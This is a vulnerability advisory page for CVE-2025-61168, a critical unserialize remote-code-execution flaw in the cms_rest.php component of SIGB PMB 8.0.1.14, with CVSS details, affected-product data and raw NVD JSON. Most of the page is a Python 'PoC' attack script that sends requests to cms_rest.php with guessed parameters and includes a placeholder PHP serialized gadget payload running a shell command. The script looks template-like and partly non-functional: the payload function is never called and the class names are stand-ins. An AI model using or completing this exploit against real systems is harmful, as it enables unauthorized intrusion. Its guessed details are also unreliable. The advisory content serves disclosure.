Security Vulnerability Report
中文
CVE-2025-61168 CVSS 9.8 CRITICAL

CVE-2025-61168

Published: 2025-11-25 19:15:50
Last Modified: 2025-12-01 14:21:41

Description

An issue in the cms_rest.php component of SIGB PMB v8.0.1.14 allows attackers to execute arbitrary code via unserializing an arbitrary file.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:sigb:pmb:8.0.1.14:*:*:*:*:*:*:* - VULNERABLE
SIGB PMB v8.0.1.14及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-61168 PoC - SIGB PMB cms_rest.php Unserialize RCE Note: This PoC is for educational and authorized security testing purposes only. """ import requests import sys import base64 def generate_malicious_payload(): """ Generate PHP serialized payload for RCE Replace CLASS_NAME with actual exploitable class from target system """ # Example payload structure - requires adjustment based on target # This uses a gadget chain to trigger code execution payload_template = '''O:XX:"ClassName":2:{s:XX:"property1";s:XX:"value";s:XX:"property2";O:XX:"ExecClass":1:{s:XX:"cmd";s:XX:"/bin/bash -c whoami";}}''' return base64.b64encode(payload_template.encode()).decode() def exploit_target(target_url, file_path): """ Exploit the unserialize vulnerability in cms_rest.php Args: target_url: Base URL of the vulnerable SIGB PMB installation file_path: Path to file containing malicious serialized payload Returns: bool: True if exploitation appears successful, False otherwise """ endpoint = f"{target_url}/cms_rest.php" # Prepare the exploit request # The actual parameter names may vary - adjust based on reconnaissance params = { 'action': 'unserialize', # or other relevant action 'file': file_path } headers = { 'User-Agent': 'Mozilla/5.0 (compatible; SecurityScanner/1.0)', 'Accept': 'application/json, text/html' } try: print(f"[*] Sending exploit request to {endpoint}") response = requests.get(endpoint, params=params, headers=headers, timeout=30) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)} bytes") if response.status_code == 200: # Check for indicators of successful exploitation if 'root' in response.text or 'www-data' in response.text or 'admin' in response.text: print("[+] Potential successful exploitation detected!") print(f"[+] Response snippet: {response.text[:500]}") return True else: print("[-] No obvious exploitation indicators in response") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def main(): if len(sys.argv) < 3: print("Usage: python3 cve_2025_61168_poc.py <target_url> <payload_file_path>") print("Example: python3 cve_2025_61168_poc.py http://vulnerable-server.com /tmp/payload.txt") sys.exit(1) target = sys.argv[1].rstrip('/') payload_file = sys.argv[2] print("=" * 60) print("CVE-2025-61168 PoC - SIGB PMB Unserialize RCE") print("=" * 60) success = exploit_target(target, payload_file) if success: print("\n[!] Exploitation completed - verify results manually") else: print("\n[-] Exploitation failed or target may not be vulnerable") print("[-] Verify: 1) Target is reachable, 2) Payload file exists and is valid") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61168", "sourceIdentifier": "[email protected]", "published": "2025-11-25T19:15:50.180", "lastModified": "2025-12-01T14:21:40.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in the cms_rest.php component of SIGB PMB v8.0.1.14 allows attackers to execute arbitrary code via unserializing an arbitrary file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sigb:pmb:8.0.1.14:*:*:*:*:*:*:*", "matchCriteriaId": "98BC8F88-A54A-4323-8B11-8B7A16B88BE5"}]}]}], "references": [{"url": "http://pmb.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "http://sigb.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://forge.sigb.net/projects/pmb/wiki/Changelog_801#S%C3%A9curit%C3%A9-2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://gist.github.com/ZanyMonk/446f6875a2ceb3decef5ff1176428f9e", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}